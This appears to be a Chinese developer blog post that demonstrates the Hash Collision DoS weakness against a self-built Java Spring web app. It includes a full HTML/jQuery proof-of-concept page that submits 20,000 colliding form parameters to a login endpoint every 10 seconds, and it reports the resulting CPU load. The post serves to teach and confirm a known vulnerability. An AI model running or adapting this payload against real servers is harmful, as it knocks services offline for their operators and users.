关于Hash Collision DoS漏洞:web实例

[url=http://www.iteye.com/news/23939]关于Hash Collision DoS漏洞:解析与解决方案[/url]
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
[size=large][b]构造一个有漏洞的服务程序[/b][/size]
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。
[size=medium]
[b]假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。[/b][/size]

[size=large][b]如何构造N多的Hash Collision数据[/b][/size]
0(Aa) 1(BB)
-----------------
01 10
-----------------
0101 0110 1001 1010
-------------------------------------------
01010101 01010110 01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据


function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}


[size=large][b]如何提交请求到服务器[/b][/size]
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8">
<html>
<head>
<title>login</title>
<script type="text/javascript" src="jquery-1.5.1.js"></script>

<script type="text/javascript">
function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}

function submitreq()
{

var a = [0, 1];
var ret;
var myform=document.forms[0];
var action=myform.action;

for(var i = 0; i < 4; i++ )
{
a=combination(a);
}
//一次提交20000个参数,如果你的机器性能还可以改大点
for(var j = 0; j < 20000; j++)
{
var temp=a[j];
temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');
//ret+=temp+"="+j+"&";
$("#UName").after("<input type=\"hidden\" name=\""+temp+"\" value=\"\">");
}
//myform.action=action+"?"+ret;
myform.submit();
}
//每10秒钟执行一次
window.setInterval("submitreq()", 10000);
</script>
</head>

<body>
<form action="http://192.168.1.20:8080/spring3/user/login" method="post">
name:
<input name="name" id="UName">
<br />
password:
<input type="password" name="password">
<br />
<input type="button" value="login" onclick="submitreq()" />
</form>

</body>
</html>




[size=large][b]测试结果[/b][/size]
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
[size=medium][b]所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。[/b][/size]


结果图
[img]http://dl.iteye.com/upload/attachment/0061/9073/34333ad7-e6ac-345f-8b15-2960883b54ca.png[/img]

附件说明:
hash_dos_html.rar html页面代码和jquery源码
HashCollisionDoS.rar web project 源代码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值